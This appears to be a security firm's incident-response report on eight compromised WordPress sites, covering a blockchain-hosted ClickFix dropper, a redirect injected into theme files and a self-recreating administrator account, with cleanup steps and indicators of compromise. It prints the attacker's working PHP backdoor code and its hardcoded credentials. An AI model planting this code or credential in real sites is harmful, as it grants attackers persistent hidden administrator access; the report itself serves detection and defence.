Eight WordPress sites on a single hosting plan were serving malware for thirteen days before anyone noticed. Two separate payloads, five days apart, and a hidden administrator account that rebuilt itself every time it was deleted. This is the full incident, start to finish.
In August 2026 we ran a full incident response across a shared hosting plan carrying twelve WordPress installs. What began as a single site showing a fake Cloudflare “verify you are human” prompt turned into a three-layer compromise: a payload delivered from a blockchain smart contract, a traffic-selling redirect injected into theme files, and — the part that actually mattered — a self-recreating administrator account that made every other cleanup step temporary.
All client sites are anonymised below. Everything technical is exact.
Incident at a glance
- Scope: 12 WordPress installs on one shared plan; 8 compromised
- Dwell time: 13 days from first plant to detection
- Intrusions: 2, five days apart
- Persistence: 1 self-rebuilding admin account per site
- Files removed: 22 malicious files, 14 injected theme files repaired
- Detection by scanners: zero — nothing tripped an automated scan
What made this hard to find
Three design choices by the attacker defeated ordinary detection, and they are worth understanding because they are becoming common.
The payload was not on the server. The first stage held no malicious code at all. It made an eth_call to a smart contract on BNB Smart Chain testnet, base64-decoded the return value, and injected that as a script. This technique is called EtherHiding. There is no malicious domain to blocklist, no payload for a file scanner to fingerprint, and the attacker can swap the code any time without touching the server. Four fallback RPC endpoints were hardcoded, so blocking one changes nothing.
Everything cloaked. The injected script fingerprinted user-agent, referrer and URL before doing anything. It fired for a Windows visitor arriving from search and stayed dormant for logged-in administrators and for crawlers. The site owner sees a working site. Search engines see a working site. Only real visitors get the overlay.
The second payload looked like analytics. A single line added to each theme, loading a script from a domain built to be misread as Microsoft Clarity at a glance. One line, in a file nobody opens, that looks like something you might have added yourself.
Timeline
Day 1 — the blockchain dropper
Eight fake plugin folders were created within the same minute. Each impersonated a real, well-known plugin — MailOptin Pro, Rank Math Pro, Pods Pro, ManageWP Pro, Polylang Pro, and, with some irony, Sucuri Security.
Every one followed the same shape: a folder named <real-plugin-name>-<2 or 3 digits> containing exactly three things — a js/ directory, one PHP file, and a readme.txt. A real plugin has hundreds of files. These had three.
The PHP registered an AJAX endpoint open to logged-out visitors. Ask it for a script and it queried the smart contract, decoded the response, and handed back the ClickFix overlay: a fake Cloudflare human-verification screen instructing the visitor to paste a command into the Windows Run dialog.
A PHP error log on one site recorded database contention at a precise second during the deployment — the signature of an automated tool writing to many sites at once.
Day 5 — the return
The attacker came back and did three things in order, and the order is the interesting part.
First, at 23:47:50, they appended seventeen lines to the active theme’s functions.php. Two seconds later, at 23:47:52, that code created an administrator account named sys_maint.
Second, logged in as that administrator, they installed a legitimate plugin — WP File Manager — purely for its browser-based file editor.
Third, they used it to add the redirect line to header.php and footer.php on seven sites, working through them one after another over about five and a half hours.
They were not breaking in on day five. They were signing in.
The redirect: what visitors actually got
The injected line loaded a script that redirected visitors off the site entirely, handing them to an intermediary domain that passed them to a fake financial-survey landing page — with the visitor’s IP address embedded in the destination URL. This is a traffic distribution system. The sites’ visitors were being sold.
We only found it by accident, while loading one of the sites to verify the first cleanup had worked. The browser never arrived.
The part that mattered: an admin that would not stay deleted
The hidden administrator was found in the database. It was deleted. It came back.
The cause was in that seventeen-line block appended to each theme’s functions.php:
$user = 'sys_maint';
$pass = 'ChangeMe_Str0ng!';
$email = 'sys_maint@local.com';
function quick_create() {
global $user, $pass, $email;
if (!username_exists($user) && !email_exists($email)) {
$id = wp_create_user($user, $pass, $email);
if (!is_wp_error($id)) {
$u = new WP_User($id);
$u->set_role('administrator');
}
}
}
add_action('init', 'quick_create');
Hooked to init, so it runs on every single page load. Delete the user and the next visitor recreates it. On one site the account had cycled from user ID 5 up to ID 12 — roughly seven rounds of creation and deletion — before the cause was identified.
The password was hardcoded and identical across all seven sites. Anyone familiar with this campaign had a working administrator login everywhere it existed.
What we ruled out first
Before finding the theme code we eliminated four other persistence mechanisms, and it is worth listing them because they are the usual suspects:
- MySQL scheduled events — none; the event scheduler was disabled server-wide
- Database triggers — none
- Stored routines — none
- Host-level cron jobs — none configured
We assumed something scheduled. It was simpler and worse than that: it ran on every visit.
Method: how the sites were actually cleaned
The sequence matters more than any individual step. Cleaning files while a regenerator is live accomplishes nothing.
- Identify before touching anything. Capture the payload, trace where it is served from, establish the timeline from file modification times and error logs.
- Quarantine, don’t delete. Malicious files were moved out of the web root into a dated quarantine folder, not destroyed. Nothing is unrecoverable and everything stays available for evidence.
- Close the re-entry path first. The attacker’s file-manager plugin went before the payloads did.
- Remove the regenerator before the account. This is the step that makes the rest stick.
- Then delete the accounts — through WordPress admin, not the database, so user metadata and login sessions are cleaned up properly.
- Verify by re-scanning, not by assuming. Every PHP file across every install was re-checked for all three signatures after cleanup.
- Purge caches. Cached pages kept serving the redirect for a while after the source files were clean — which briefly looked like reinfection and was not.
Outcome
- All 8 sites verified clean on fresh, cache-busted loads — no injected scripts, no redirects, no external script sources
- WordPress core verified against official checksums — 99,778 files scanned, zero findings
- No PHP backdoor anywhere in any uploads directory
- No SSH persistence — no rogue authorized keys
- Every remaining site on the plan audited for rogue administrator accounts
- Seven abandoned WordPress installs, invisible in the hosting panel and years out of date, removed from the web root
Indicators of compromise
If you manage WordPress sites, these are worth checking for directly.
| Type | Indicator |
|---|---|
| Rogue admin | sys_maint / sys_maint@local.com |
| Hardcoded password | ChangeMe_Str0ng! |
| Regenerator function | quick_create() on add_action('init', ...) |
| Redirect host | cdn.claritydelivr.com/mpackage.js |
| Redirect chain | nelqazor.nelqazor.shop → cdn.lcwss.com |
| AJAX action | bsc_sl_get_script (registered for wp_ajax_nopriv) |
| Loader file | <plugin>/js/bsc-loader.js |
| PHP constants | BSC_SL_VERSION, BSC_SL_CONTRACT |
| Fake plugin author | “Digital Creators”, version 1.7.6 |
| Folder pattern | <real-plugin-name>-<digits> containing only js/, one PHP file, readme.txt |
Check your own sites in five minutes
- Scan your plugin folder names. Any directory named after a real plugin with digits appended is not a plugin. This one check found all eight sites in under a minute.
- Open your active theme’s
functions.phpand scroll to the bottom. Injected code is almost always appended after the last legitimate line. - Same for
header.phpandfooter.php. Look for any<script src>pointing at a domain you did not add yourself. - Check Users → Administrators on every site. Count them. If the number is higher than you expect, that is the whole story.
- Load your own site in a private window, logged out, from a search result rather than by typing the URL. Cloaked malware is invisible to logged-in administrators by design.
What we would tell any site owner after this
One site on the plan came through untouched. No fake plugin payload, no redirect injection, no hidden admin. It was the only site running a security plugin. That is a single data point, not a proof — but across three separate attack stages, it is the only variable that differed.
Abandoned installs are not dormant, they are exposed. Seven forgotten WordPress installs sat inside a live site’s directory, absent from the hosting panel, plugins untouched for two years. Software you have stopped thinking about is still running and still reachable.
Nulled premium plugins carry their own updater. Several sites ran repackaged “pro” plugins that fetch their own updates from third-party servers. That is a remote code channel into your site that you have granted permanently and do not control.
Check migration leftovers. Separately from this incident, we found a half-finished site migration that had left its installer script and two complete site-and-database archives publicly downloadable, no login required. That was more exposed than either malware payload.
A file cleanup with a live backdoor is theatre. Every hour spent removing malicious files was worthless while an account that recreated itself on every page load was still standing.
Frequently asked questions
What is EtherHiding?
A technique where malware stores its payload in a smart contract on a public blockchain instead of on a web server. The code on the compromised site only fetches and executes it. Because blockchains cannot be taken down or blocklisted, and the payload can be replaced at will, this removes the usual points of intervention.
What is ClickFix?
A social-engineering attack that shows a fake verification screen — often imitating Cloudflare or a browser error — and instructs the visitor to copy a command and paste it into the Windows Run dialog. The visitor infects their own machine. Nothing is downloaded automatically, so browser and download protections are bypassed.
Why does a deleted WordPress admin account keep coming back?
Because something is recreating it on page load. The most common location is code appended to the active theme’s functions.php hooked to init. Less common: a must-use plugin, a scheduled task, or a database trigger. Remove the code first; the account will then stay deleted.
Will a malware scanner catch this?
Not reliably. Nothing in this incident tripped an automated scan. The first payload contained no malicious code to fingerprint, and the second was a single script tag pointing at a domain with no reputation history.
How long does a cleanup like this take?
The identification is fast once you know the shape of it. The persistence hunt is what takes time — in this case, ruling out four scheduled mechanisms before finding code that ran on every request.
Read the full technical breakdown
The complete incident report — every file path, the exact timeline to the second, the full removal procedure and the verification results — is available as a PDF.
Download the full incident report (PDF)
Managing WordPress sites and unsure whether one of them is carrying something like this? Get in touch.